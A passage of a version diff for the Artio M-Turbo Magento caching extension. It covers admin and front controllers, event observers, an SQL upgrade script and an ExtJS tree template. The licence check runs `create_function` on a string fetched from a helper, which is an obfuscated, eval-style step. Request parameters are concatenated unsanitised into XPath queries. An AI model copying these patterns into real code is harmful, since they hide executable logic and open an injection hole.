+ $this->getResponse()->setHeader('Content-Type', 'application/json');
425
  $this->getResponse()->setBody(Zend_Json::encode($result));
 
426
  }
427
 
428
+
429
  /**
430
  * Executed when user pushs "Apply patch" on the config tabs.
431
  */
432
  public function magepatchAction() {
433
+
434
  try {
435
 
436
  $patch = Mage::getModel('mturbo/patch');
437
  if ($patch->isPatched()) {
438
  $patch->removePatch();
439
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Patch was removed.'));
440
+ } else {
441
  $patch->applyPatch();
442
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Patch was applied.'));
443
  }
444
 
445
  } catch (Exception $e) {
446
  $this->_getSession()->addError($e->getMessage());
447
+ }
448
+
449
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_main_section'));
450
+
451
  }
452
+
453
  /**
454
  * Executed when user pushs "Apply patch" on the config tabs.
455
  */
456
  public function layoutpatchAction() {
457
+
458
  try {
459
 
460
  $patch = Mage::getModel('mturbo/layoutPatch');
461
  if ($patch->isPatched()) {
462
  $patch->removePatch();
463
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Patch was removed.'));
464
+ } else {
465
  $patch->applyPatch();
466
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Patch was applied.'));
467
  }
468
 
469
  } catch (Exception $e) {
470
  $this->_getSession()->addError($e->getMessage());
471
+ }
472
+
473
  $this->_redirect('mturbo/adminhtml_mturbo/index', array('activeTab'=>'page_tabs_dynamic_section'));
474
+
475
  }
476
+
477
 
478
 
479
  /**
480
  * Executed when user pushs button "Upgrade to Full version" at right top corner.
481
  **/
482
  public function upgradeAction() {
483
+
484
  try {
485
+
486
  $message = Mage::helper('mturbo/downloader')->downloadAndUpgrade();
487
  if ($message=='') {
488
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__('Upgrade complete, please refresh Magento system cache'));
489
  } else {
490
  $this->_getSession()->addWarning($message);
491
  }
492
+
493
  } catch (Exception $e) {
494
  $this->_getSession()->addError($e->getMessage());
495
  Mage::logException($e);
496
  }
497
+
498
  $this->_redirect('*/*/index', array('activeTab'=>'page_tabs_license_section'));
499
  }
500
 
509
  public function blockAction() {
510
  $this->_stateAction(1);
511
  }
512
+
513
 
514
  /**
515
  * Executed when user clicks on the link "unblock" in the row with any page.
516
+ */
517
  public function unblockAction() {
518
  $this->_stateAction(0);
519
  }
520
+
521
 
522
  /**
523
  * Executed when user changes the state for any one page.
524
+ */
525
  private function _stateAction($state) {
526
+
527
  $id = $this->getRequest()->getParam('id');
528
+
529
  try {
530
 
531
  /* during saving model decides to page deleted or not */
536
  ->save();
537
 
538
  $this->_getSession()->addSuccess($this->__('Record was successfully updated.'));
539
+
540
  } catch (Exception $e) {
541
  $this->_getSession()->addError($e->getMessage());
542
  }
543
+
544
  $this->_redirect('*/*/index');
545
+
546
  }
547
+
548
  /**
549
  * Executed when user selects some pages and in the massaction selects delete.
550
+ */
551
  public function massDeleteAction() {
552
+
553
  $ids = $this->getRequest()->getParam('mturbo');
554
+
555
  if(!is_array($ids)) {
556
  $this->_getSession()->addError(Mage::helper('adminhtml')->__('Please select item(s)'));
557
  } else {
558
+
559
  try {
560
+
561
  foreach ($ids as $id) {
562
  $mturbo = Mage::getModel('mturbo/mturbo')->load($id);
563
  $mturbo->delete();
564
  }
565
+
566
  $this->_getSession()->addSuccess(
567
  Mage::helper('adminhtml')->__('Total of %d record(s) were successfully deleted.', count($ids)));
568
+
569
  } catch (Exception $e) {
570
  $this->_getSession()->addError($e->getMessage());
571
  }
572
+
573
  }
574
+
575
+ /* redirect to grid tab */
576
  $this->_redirect('*/*/index');
577
+
578
  }
579
 
580
 
581
  /**
582
  * Executed when user selects some pages and in the massaction selects block.
583
+ */
584
  public function massBlockAction() {
585
  $this->_massStateAction(1);
586
  }
588
 
589
  /**
590
  * Executed when user selects some pages and in the massaction selects unblock.
591
+ */
592
  public function massUnblockAction() {
593
  $this->_massStateAction(0);
594
  }
595
+
596
 
597
  /**
598
  * Executed when user selects some pages and in the massaction selects block or unblock.
599
+ */
600
  private function _massStateAction($state) {
601
+
602
  $ids = $this->getRequest()->getParam('mturbo');
603
  if(!is_array($ids)) {
604
  $this->_getSession()->addError($this->__('Please select item(s)'));
613
  ->setBlocked($state)
614
  ->setIsMassupdate(true)
615
  ->save();
616
+
617
  }
618
 
619
  $this->_getSession()->addSuccess($this->__('Total of %d record(s) were successfully updated.', count($ids)));
620
+
621
  } catch (Exception $e) {
622
  $this->_getSession()->addError($e->getMessage());
623
  }
624
+
625
  }
626
+
627
  $this->_redirect('*/*/index');
628
  }
629
+
630
+ /**
631
  * Executed whe user click at preview link in the grid.
632
  */
633
  public function previewAction() {
634
+
635
  $id = $this->getRequest()->getParam('id');
636
+
637
  try {
638
+
639
  // get models
640
  $config = Mage::getSingleton('mturbo/config');
641
  $mturbo = Mage::getModel('mturbo/mturbo')->load($id);
642
  $file = $mturbo->getFileModel();
643
+
644
  // get page
645
+ $baseUrl = $mturbo->getBaseUrl();
646
  $path = $file->getRelativePath();
647
  $url = $baseUrl.$config->getTurbopath().DS.$path;
648
+
649
  $this->_redirectUrl($url);
650
+
651
  } catch (Exception $e) {
652
  $this->_getSession()->addError(Mage::helper('mturbo')->__("Preview fail.").' '.$e->getMessage());
653
  }
654
+
655
  }
656
 
657
 
659
  * Executed when user refreshes one page from the grid.
660
  */
661
  public function refreshAction() {
662
+
663
+ if (!$this->_checkLicence())
664
+ return;
665
+
666
  $id = $this->getRequest()->getParam('id');
667
+
668
  try {
669
+
670
  // get models
671
  $mturbo = Mage::getModel('mturbo/mturbo')->load($id);
672
  $file = $mturbo->getFileModel();
673
+
674
  // if page exists, then delete it
675
  if ($file->existPage()) {
676
+
677
  if ($file->deletePage())
678
  $this->_getSession()->addSuccess(Mage::helper('mturbo')->__("Page was succesfull purge from disk.") );
679
  else
680
  $this->_getSession()->addError(Mage::helper('mturbo')->__("Purging page fail."));
681
+
682
  // if page not exists and is not blocked, then download it
683
+ } else {
684
+
685
+ if ($mturbo->isBlocked())
686
+ $this->_getSession()->addWarning(Mage::helper('mturbo')->__("Blocked page can't refresh"));
687
  else {
688
+
689
+ $queue = Mage::getSingleton('mturbo/downloadQueue');
690
+ $queue->addMTurboModel($mturbo);
691
+ $queue->flush();
692
+
693
+ $result = $queue->getResult();
694
+ $error = array_shift($result);
695
+
696
+ if ($error)
697
+ $this->_getSession()->addError($error);
698
+ else
699
+ $this->_getSession()->addSuccess(Mage::helper('mturbo')->__("Page was succesfull download. Now is cached."));
700
+ }
701
  }
702
+
703
  } catch ( Exception $e ) {
704
  if ($file->existPage())
705
+ $this->_getSession()->addError(Mage::helper('mturbo')->__("Purging page fail.".$e->getMessage()));
706
  else
707
+ $this->_getSession()->addError(Mage::helper('mturbo')->__("Downloading page fail.".$e->getMessage()));
708
  }
709
+
710
+ $this->_redirect ('*/*/index');
711
+
712
  }
713
+
714
  /**
715
  * Executed when user purges more pages from the grid.
716
  */
717
  public function massPurgeAction() {
718
+
719
  $ids = $this->getRequest()->getParam('mturbo');
720
+
721
  if(!is_array($ids)) {
722
  $this->_getSession()->addError(Mage::helper('adminhtml')->__('Please select item(s)'));
723
  } else {
724
+
725
  try {
726
+
727
  $succ = 0;
728
  foreach ($ids as $id) {
729
  $mturbo = Mage::getModel('mturbo/mturbo')->load($id);
730
  $file = $mturbo->getFileModel();
731
+ if ($file->existPage())
732
  $succ = ($file->deletePage()) ? $succ+1 : $succ;
733
  }
734
+
735
  $this->_getSession()->addSuccess(
736
  Mage::helper('adminhtml')->__('Total of %d page(s) were successfully purged.', $succ));
737
+
738
  } catch (Exception $e) {
739
  $this->_getSession()->addError($e->getMessage());
740
  }
741
+
742
  }
743
+
744
+ /* redirect to grid tab */
745
  $this->_redirect('*/*/index');
746
+
747
  }
748
+
749
  /**
750
  * Executed when user refreshes more pages from the grid.
751
  * Action will be redirect to avoid duplication code.
757
 
758
 
759
  /* Downloaded by AJAX ================================================================ */
760
+
761
+
762
  public function categoriesJsonAction() {
763
+
764
  if ($this->getRequest ()->getParam ( 'expand_all' ))
765
  Mage::getSingleton ( 'admin/session' )->setIsTreeWasExpanded ( true );
766
  else
767
  Mage::getSingleton ( 'admin/session' )->setIsTreeWasExpanded ( false );
768
+
769
  $categoryId = (int)$this->getRequest()->getPost('id');
770
  if ($categoryId) {
771
  $this->getRequest ()->setParam ( 'id', $categoryId );
772
  if (! $category = $this->_initCategory ())
773
  return;
774
+
775
  $this->getResponse ()->setBody ( $this->getLayout ()->createBlock ( 'adminhtml/catalog_category_tree' )->getTreeJson ( $category ) );
776
  }
777
+
778
  }
779
 
780
+
781
+
782
  protected function _initCategory() {
783
+
784
  $categoryId = (int) $this->getRequest()->getParam('id',false);
785
  $storeId = (int) $this->getRequest()->getParam('store');
786
  $category = Mage::getModel('catalog/category');
811
  Mage::register('category', $category);
812
  Mage::register('current_category', $category);
813
  return $category;
814
+
815
  }
 
816
 
817
 
818
+
819
+ /**
820
+ * Executed during downloading pages.
821
+ * This action is called by AJAX.
822
+ */
823
  public function downloadRunAction() {
 
 
 
 
824
 
825
+ if (!$this->getRequest()->isPost())
826
+ return $this;
 
 
827
 
828
+ $batchIds = $this->getRequest()->getPost('batch_id');
829
+ $batchIds = explode(",", $batchIds);
830
 
831
+ $downloadQueue = Mage::getSingleton('mturbo/downloadQueue');
832
+ $downloadQueue->clearAndReset();
 
 
 
 
 
 
 
 
 
833
 
834
+ $errors = array();
835
+ $messages = array();
836
+
837
+ foreach ($batchIds as $batchId) {
838
+
839
+ $mturbo = Mage::getModel('mturbo/mturbo')->load($batchId);
840
+
841
+ if ($mturbo->getId()) {
842
+ if (!$mturbo->isBlocked()) {
843
+ $downloadQueue->addMTurboModel($mturbo);
844
+ } else {
845
+ $messages[] = Mage::helper('mturbo')->__('Skip blocked page: %s', $mturbo->getFileModel()->getDownloadUrl());
846
+ }
847
+ }
848
+ }
849
 
850
+ $saved = 0;
851
+
852
+ try {
853
+
854
+ $downloadQueue->flush();
855
+
856
+ foreach ($downloadQueue->getResult() as $url => $errorMsg) {
857
+ if (!$errorMsg) {
858
+ $saved++;
859
+ } else {
860
+ $errors[] = $errorMsg;
861
+ }
862
+ }
863
+
864
+ } catch (Exception $e) {
865
+ $errors[] = $e->getMessage();
866
+ }
867
+
868
+ $result = array(
869
+ 'savedRows' => $saved,
870
+ 'errors' => $errors,
871
+ 'messages' => $messages
872
+ );
873
+
874
+ $this->getResponse()->setBody(Zend_Json::encode($result));
875
  }
876
+
877
+
878
  /**
879
  *
880
  */
881
  private function _checkLicence() {
882
+
883
  $trans = create_function('$a,&$var0', Mage::helper('mturbo')->getTranslateFunction().';');
884
  // no post accepted
885
  if ($this->_redirect('index')=='post') return true;
886
  return $trans(Mage::helper('mturbo')->setTranslateMode(5), $this);
887
 
888
+
889
  }
890
+
891
  public function _red($url) {
892
  $this->_redirect($url);
893
  }
894
+
895
  public function _getSes() {
896
  return $this->_getSession();
897
  }
898
+
899
+
900
+ /**
901
+ * Get standard configuration model.
902
+ *
903
+ * @return Artio_Mturbo_Model_Config
904
+ * @since 1.2.7
905
+ */
906
+ protected function _getConfig()
907
+ {
908
+ return Mage::getSingleton('mturbo/config');
909
+ }
910
+
911
 
912
  }
app/code/local/Artio/MTurbo/controllers/IndexController.php CHANGED
@@ -30,92 +30,122 @@ class Artio_MTurbo_IndexController extends Mage_Core_Controller_Front_Action
30
 
31
 
32
  /**
33
- * Router for receiving a request for dynamic blocks.
 
 
 
 
 
 
 
 
 
 
34
  */
35
  public function indexAction() {
36
 
37
- // prevent mturbo replacing
38
- Mage::register('mturbo_no_ajax', true, true);
39
-
40
- // save to session previous referer for product cart remove and compare remove
41
  $referer = $this->getRequest()->getParam('referer');
42
- Mage::register('mturbo_referer', $referer, true);
43
-
44
- // get block identifers
45
- $identifiers = $this->getRequest()->getParam('identifier');
46
- if (is_array($identifiers)) {
47
 
48
- // output is empty
49
- $output = '<blocks>';
 
 
 
 
 
 
 
 
50
 
51
- // load layout
52
- $this->loadLayout('default', false, true);
53
- $layout = $this->getLayout();
 
 
 
 
 
 
54
 
55
- // foreach identifier
56
- $dynamic = Mage::getSingleton('mturbo/config_dynamicTransformer');
57
- foreach ($identifiers as $identifier) {
58
 
59
- $node;
60
- $name;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
61
 
62
- // default blocks are loaded by type
63
- // non-default blocks are loaded by name in layout
64
- if ($dynamic->isDefaultBlock($identifier)) {
65
-
66
- $type = $dynamic->getType($identifier);
67
- $node = $layout->getXpath("//block[@type='".$type."']/parent::*");
68
- $name = $layout->getXpath("//block[@type='".$type."']/@name");
69
-
70
- } else {
71
-
72
- $node = $layout->getXpath("//block[@name='".$identifier."']/parent::*");
73
- $name = $identifier;
74
-
75
- }
76
-
77
- // if $name is array, then must be $name prepared from array
78
- if (is_array($name) && isset($name[0])) {
79
- $temp = "";
80
- foreach ($name[0] as $k=>$v) {
81
- $temp = (string)$v;
82
- break;
83
- }
84
- $name = $temp;
85
- }
86
-
87
- // update for link text
88
- $output .= $this->_updateCartLinkText();
89
-
90
- // check node
91
- if (is_array($node) && count($node)>0) {
92
-
93
- try {
94
-
95
- $layout->generateBlocks($node[0]);
96
- $layout->addOutputBlock($name);
97
-
98
- // generate and catch output
99
- $output .= '<block name="'.$identifier.'">';
100
- $output .= $layout->getOutput();
101
- $output .= '</block>';
102
-
103
- $layout->removeOutputBlock($name);
104
-
105
- } catch (Exception $e) {}
106
-
107
  }
108
-
109
  }
110
- $output .= '</blocks>';
111
- echo $this->_filterAmpersand($output);
112
- }
113
- // here is end script, because this action will be called by ajax only
114
- exit(0);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
115
  }
116
 
117
- private function _updateCartLinkText() {
 
 
 
 
 
 
 
118
  $count = Mage::helper('checkout/cart')->getSummaryCount();
 
119
  if( $count == 1 ) {
120
  $text = $this->__('My Cart (%s item)', $count);
121
  } elseif( $count > 0 ) {
@@ -123,31 +153,7 @@ class Artio_MTurbo_IndexController extends Mage_Core_Controller_Front_Action
123
  } else {
124
  $text = $this->__('My Cart');
125
  }
126
- return "<block name='cartlink'>".$text."</block>";
127
  }
128
-
129
- private function _filterAmpersand($text) {
130
-
131
- $size = strlen($text);
132
-
133
- $ntext = '';
134
 
135
- $pos = 0;
136
- while ($pos<$size) {
137
-
138
- $char = $text[$pos];
139
- $ntext .= $char;
140
-
141
- if (($char=='&') && (($pos>=$size-4) || ($text[$pos+1]!='a') || ($text[$pos+2]!='m') || ($text[$pos+3]!='p') || ($text[$pos+4]!=';'))) {
142
- $ntext .= 'amp;MTURBO!';
143
- }
144
-
145
- $pos++;
146
-
147
- }
148
-
149
- return $ntext;
150
-
151
- }
152
-
153
  }
30
 
31
 
32
  /**
33
+ * The action generates the dynamic blocks HTML as JSON.
34
+ *
35
+ * Action receives param "referer" and param array "identifier".
36
+ *
37
+ * Referer says which url user comes from.
38
+ *
39
+ * Identifier says which blocks had to generate. Identifier can be
40
+ * either simple layout name or composite layout name with layout handle.
41
+ *
42
+ * cart_sidebar - simple layout name
43
+ * catalog_category_default$cart_sidebar - composite layout name with layout handle
44
  */
45
  public function indexAction() {
46
 
47
+ // get parameters of request
 
 
 
48
  $referer = $this->getRequest()->getParam('referer');
49
+ $ids = $this->getRequest()->getParam('identifier');
50
+
51
+ // prevent mturbo replacing (else really blocks would be replaced
52
+ // by AJAX blocks again)
53
+ Mage::register('mturbo_no_ajax', true, $graceful = true);
54
 
55
+ // referer, some blocks need to get a referer, therefore
56
+ // save it into global static variable
57
+ Mage::register('mturbo_referer', $referer, $graceful = true);
58
+
59
+ // prepare output, it will be transformed to JSON
60
+ $output = array();
61
+
62
+ // all has sense only if $ids is array
63
+ if (!is_array($ids))
64
+ return $this->_prepareResponse($output);
65
 
66
+ // get the list of used layout handles and
67
+ // used layout names
68
+ $layoutHandles = array();
69
+ $layoutNames = array();
70
+
71
+ foreach ($ids as $id)
72
+ {
73
+ // identifier can be either simple or composite, see above
74
+ $pid = explode('$', $id);
75
 
76
+ $layoutHandles[] = (count($pid) == 2) ? $pid[0] : 'default';
77
+ $layoutNames[$id] = (count($pid) == 2) ? $pid[1] : $pid[0];
78
+ }
79
 
80
+ // load layout for all used layout handles, don't generate all blocks (this would waste time),
81
+ // but xml must be generated, else we would not be able to found requests blocks
82
+ $this->loadLayout($layoutHandles, $generateBlocks = false, $generateXml = true);
83
+
84
+ // get loaded layout
85
+ $layout = $this->getLayout();
86
+
87
+ // generate all request blocks by theirs layout names
88
+ foreach ($layoutNames as $id => $name)
89
+ {
90
+ // get node from xml, there must be generate the parent of requested block
91
+ $node = $layout->getXpath("//block[@name='".$name."']/parent::*");
92
+
93
+ // sometime block may not be found (bad user configuration),
94
+ // in these cases we skip it
95
+ if (is_array($node) && count($node)>0)
96
+ {
97
+ try
98
+ {
99
+ // generate and catch output the block
100
+ $layout->generateBlocks($node[0]);
101
+ $layout->addOutputBlock($name);
102
 
103
+ $output[$id] = $layout->getOutput();
104
+
105
+ $layout->removeOutputBlock($name);
106
+ }
107
+ catch (Exception $e)
108
+ {
109
+ // there has no sense to stop working when something fails,
110
+ // therefore only log exception and go on
111
+ Mage::logException($e);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
112
  }
 
113
  }
114
+ }
115
+
116
+ // update cart link text (it is special case,
117
+ // this is no block but only simple string
118
+ $output['cartlink'] = $this->_updateCartLinkText();
119
+
120
+ // return the response as JSON
121
+ $this->_prepareResponse($output);
122
+ }
123
+
124
+
125
+ /**
126
+ * Set response by $output.
127
+ *
128
+ * @param array $output
129
+ * @return Artio_MTurbo_IndexController
130
+ */
131
+ protected function _prepareResponse($output)
132
+ {
133
+ $this->getResponse()->setHeader('Content-Type', 'application/json');
134
+ $this->getResponse()->setBody(Zend_Json::encode($output));
135
+
136
+ return $this;
137
  }
138
 
139
+
140
+ /**
141
+ * Get top link cart text.
142
+ *
143
+ * @return string
144
+ */
145
+ protected function _updateCartLinkText()
146
+ {
147
  $count = Mage::helper('checkout/cart')->getSummaryCount();
148
+
149
  if( $count == 1 ) {
150
  $text = $this->__('My Cart (%s item)', $count);
151
  } elseif( $count > 0 ) {
153
  } else {
154
  $text = $this->__('My Cart');
155
  }
156
+ return $text;
157
  }
 
 
 
 
 
 
158
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
159
  }
app/code/local/Artio/MTurbo/etc/config.xml CHANGED
@@ -10,7 +10,7 @@
10
  <config>
11
  <modules>
12
  <Artio_MTurbo>
13
- <version>1.2.6</version>
14
  </Artio_MTurbo>
15
  </modules>
16
  <admin>
@@ -68,46 +68,14 @@
68
  </updates>
69
  </layout>
70
  <events>
71
- <controller_action_predispatch>
72
- <observers>
73
- <mturbo>
74
- <class>mturbo/observer</class>
75
- <method>flushQueue</method>
76
- </mturbo>
77
- </observers>
78
- </controller_action_predispatch>
79
- <catalog_product_save_before>
80
- <observers>
81
- <mturbo>
82
- <class>mturbo/observer</class>
83
- <method>beforeSaveProduct</method>
84
- </mturbo>
85
- </observers>
86
- </catalog_product_save_before>
87
- <catalog_product_save_commit_after>
88
- <observers>
89
- <mturbo>
90
- <class>mturbo/observer</class>
91
- <method>afterSaveProduct</method>
92
- </mturbo>
93
- </observers>
94
- </catalog_product_save_commit_after>
95
- <catalog_category_save_before>
96
- <observers>
97
- <mturbo>
98
- <class>mturbo/observer</class>
99
- <method>beforeSaveCategory</method>
100
- </mturbo>
101
- </observers>
102
- </catalog_category_save_before>
103
- <catalog_category_save_commit_after>
104
- <observers>
105
- <mturbo>
106
- <class>mturbo/observer</class>
107
- <method>afterSaveCategory</method>
108
- </mturbo>
109
- </observers>
110
- </catalog_category_save_commit_after>
111
  <checkout_type_onepage_save_order_after>
112
  <observers>
113
  <mturbo>
@@ -116,14 +84,14 @@
116
  </mturbo>
117
  </observers>
118
  </checkout_type_onepage_save_order_after>
119
- <core_abstract_save_commit_after>
120
- <observers>
121
- <mturbo>
122
- <class>mturbo/observer</class>
123
- <method>afterSaveCommitAbstract</method>
124
- </mturbo>
125
- </observers>
126
- </core_abstract_save_commit_after>
127
  <model_save_after>
128
  <observers>
129
  <mturbo>
@@ -273,14 +241,6 @@
273
  <model>mturbo/observer::automaticDownload</model>
274
  </run>
275
  </mturbo_mturbo>
276
- <mturbo_adminflush>
277
- <schedule>
278
- <cron_expr>*/10 * * * *</cron_expr>
279
- </schedule>
280
- <run>
281
- <model>mturbo/observer::flushQueueCron</model>
282
- </run>
283
- </mturbo_adminflush>
284
  </jobs>
285
  </crontab>
286
  </config>
10
  <config>
11
  <modules>
12
  <Artio_MTurbo>
13
+ <version>1.2.7</version>
14
  </Artio_MTurbo>
15
  </modules>
16
  <admin>
68
  </updates>
69
  </layout>
70
  <events>
71
+ <controller_front_send_response_after>
72
+ <observers>
73
+ <mturbo>
74
+ <class>mturbo/observer</class>
75
+ <method>flush</method>
76
+ </mturbo>
77
+ </observers>
78
+ </controller_front_send_response_after>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
79
  <checkout_type_onepage_save_order_after>
80
  <observers>
81
  <mturbo>
84
  </mturbo>
85
  </observers>
86
  </checkout_type_onepage_save_order_after>
87
+ <model_save_before>
88
+ <observers>
89
+ <mturbo>
90
+ <class>mturbo/observer</class>
91
+ <method>beforeSaveAbstract</method>
92
+ </mturbo>
93
+ </observers>
94
+ </model_save_before>
95
  <model_save_after>
96
  <observers>
97
  <mturbo>
241
  <model>mturbo/observer::automaticDownload</model>
242
  </run>
243
  </mturbo_mturbo>
 
 
 
 
 
 
 
 
244
  </jobs>
245
  </crontab>
246
  </config>
app/code/local/Artio/MTurbo/sql/mturbo_setup/mysql4-upgrade-1.2.1-1.2.7.php ADDED
@@ -0,0 +1,65 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Artio
22
+ * @package Artio_MTurbo
23
+ * @copyright Copyright (c) 2010 Artio (http://www.artio.net)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ *
26
+ */
27
+
28
+ $prefix = Mage::app()->getConfig()->getTablePrefix();
29
+
30
+ $artioUrl = 'http://www.artio.net/magento-extensions/m-turbo-accelerator';
31
+
32
+ $notification = Mage::getModel('adminNotification/inbox');
33
+ $notf = array( 'is_read'=>0, 'date_added'=>date('Y-m-d H:i:s'), 'severity'=>4, 'url'=>$artioUrl );
34
+
35
+ try {
36
+
37
+ $installer = $this;
38
+
39
+ $installer->startSetup();
40
+
41
+ $installer->run("
42
+
43
+ INSERT INTO `${prefix}core_config_data` (`scope`, `scope_id`, `path`, `value`) VALUES
44
+ ('default', 0, 'mturbo/dynamic_checkout_cart_link', 'div.header a.top-link-cart'),
45
+ ('default', 0, 'mturbo/downloadbatchsize', '10');
46
+
47
+ ALTER TABLE `${prefix}mturbo` ADD UNIQUE `URL_REWRITE_ID` ( `url_rewrite_id` );
48
+ ALTER TABLE `${prefix}core_url_rewrite` ADD INDEX `FK_CORE_URL_REWRITE_CTGR_ID_PRD_ID` (`category_id`, `product_id`);
49
+
50
+ ");
51
+
52
+ // setup cURL multi as default download method
53
+ if (in_array('curl', get_loaded_extensions())) {
54
+ $installer->run("UPDATE `${prefix}core_config_data` SET value = 'curlmulti' WHERE path LIKE 'mturbo/downloadmethod'");
55
+ }
56
+
57
+ $installer->endSetup();
58
+
59
+ } catch (Exception $e) {
60
+
61
+ $notf['title'] = Mage::helper('mturbo')->__('M-Turbo upgrading problem');
62
+ $notf['description'] = $e->getMessage();
63
+ $notification->parse(array($notf));
64
+
65
+ }
app/design/adminhtml/default/default/template/mturbo/demo.phtml CHANGED
@@ -48,6 +48,6 @@ use more websites.<br />
48
  To use full features<br />
49
  and remove footer signature,<br />
50
  please, upgrade to<br />
51
- <a href="http://www.artio.net/e-shop/magento-extensions/m-turbo-magento-accelerator" title="MTurbo">full version</a>.
52
  </p>
53
  </div>
48
  To use full features<br />
49
  and remove footer signature,<br />
50
  please, upgrade to<br />
51
+ <a href="http://www.artio.net/magento-extensions/m-turbo-accelerator" title="Magento accelerator - speed up">Magento speed up</a>
52
  </p>
53
  </div>
app/design/adminhtml/default/default/template/mturbo/preview/tree.phtml CHANGED
@@ -32,7 +32,156 @@
32
  <script type="text/javascript">
33
  //<![CDATA[
34
 
35
- // TODO: cleanup this script. It was copypasted from catalog/category/tree
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
36
 
37
  var tree;
38
 
32
  <script type="text/javascript">
33
  //<![CDATA[
34
 
35
+ Ext.extend(Ext.tree.CheckboxNodeUI, Ext.tree.TreeNodeUI, {
36
+
37
+ /**
38
+ * This is virtually identical to Ext.tree.TreeNodeUI.render, modifications are indicated inline
39
+ */
40
+ render : function(bulkRender){
41
+ var n = this.node;
42
+ var targetNode = n.parentNode ?
43
+ n.parentNode.ui.getContainer() : n.ownerTree.container.dom; /* in later svn builds this changes to n.ownerTree.innerCt.dom */
44
+ if(!this.rendered){
45
+ this.rendered = true;
46
+ var a = n.attributes;
47
+
48
+ // add some indent caching, this helps performance when rendering a large tree
49
+ this.indentMarkup = "";
50
+ if(n.parentNode){
51
+ this.indentMarkup = n.parentNode.ui.getChildIndent();
52
+ }
53
+
54
+ // modification: added checkbox
55
+ var buf = ['<li class="x-tree-node"><div class="x-tree-node-el ', n.attributes.cls,'">',
56
+ '<span class="x-tree-node-indent">',this.indentMarkup,"</span>",
57
+ '<img src="', this.emptyIcon, '" class="x-tree-ec-icon">',
58
+ '<img src="', a.icon || this.emptyIcon, '" class="x-tree-node-icon',(a.icon ? " x-tree-node-inline-icon" : ""),(a.iconCls ? " "+a.iconCls : ""),'" unselectable="on">',
59
+ '<input class="l-tcb" '+ (n.disabled ? 'disabled="disabled" ' : '') +' type="checkbox" ', (a.checked ? "checked>" : '>'),
60
+ '<a hidefocus="on" href="',a.href ? a.href : "#",'" ',
61
+ a.hrefTarget ? ' target="'+a.hrefTarget+'"' : "", '>',
62
+ '<span unselectable="on">',n.text,"</span></a></div>",
63
+ '<ul class="x-tree-node-ct" style="display:none;"></ul>',
64
+ "</li>"];
65
+
66
+ if(bulkRender !== true && n.nextSibling && n.nextSibling.ui.getEl()){
67
+ this.wrap = Ext.DomHelper.insertHtml("beforeBegin",
68
+ n.nextSibling.ui.getEl(), buf.join(""));
69
+ }else{
70
+ this.wrap = Ext.DomHelper.insertHtml("beforeEnd", targetNode, buf.join(""));
71
+ }
72
+ this.elNode = this.wrap.childNodes[0];
73
+ this.ctNode = this.wrap.childNodes[1];
74
+ var cs = this.elNode.childNodes;
75
+ this.indentNode = cs[0];
76
+ this.ecNode = cs[1];
77
+ this.iconNode = cs[2];
78
+ this.checkbox = cs[3]; // modification: inserted checkbox
79
+ this.anchor = cs[4];
80
+ this.textNode = cs[4].firstChild;
81
+ if(a.qtip){
82
+ if(this.textNode.setAttributeNS){
83
+ this.textNode.setAttributeNS("ext", "qtip", a.qtip);
84
+ if(a.qtipTitle){
85
+ this.textNode.setAttributeNS("ext", "qtitle", a.qtipTitle);
86
+ }
87
+ }else{
88
+ this.textNode.setAttribute("ext:qtip", a.qtip);
89
+ if(a.qtipTitle){
90
+ this.textNode.setAttribute("ext:qtitle", a.qtipTitle);
91
+ }
92
+ }
93
+ } else if(a.qtipCfg) {
94
+ a.qtipCfg.target = Ext.id(this.textNode);
95
+ Ext.QuickTips.register(a.qtipCfg);
96
+ }
97
+
98
+ this.initEvents();
99
+
100
+ // modification: Add additional handlers here to avoid modifying Ext.tree.TreeNodeUI
101
+ Ext.fly(this.checkbox).on('click', this.check.createDelegate(this, [null]));
102
+ n.on('dblclick', function(e) {
103
+ if( this.isLeaf() ) {
104
+ this.getUI().toggleCheck();
105
+ }
106
+ });
107
+
108
+ if(!this.node.expanded){
109
+ this.updateExpandIcon();
110
+ }
111
+ }else{
112
+ if(bulkRender === true) {
113
+ targetNode.appendChild(this.wrap);
114
+ }
115
+ }
116
+ },
117
+
118
+ checked : function() {
119
+ return this.checkbox.checked;
120
+ },
121
+
122
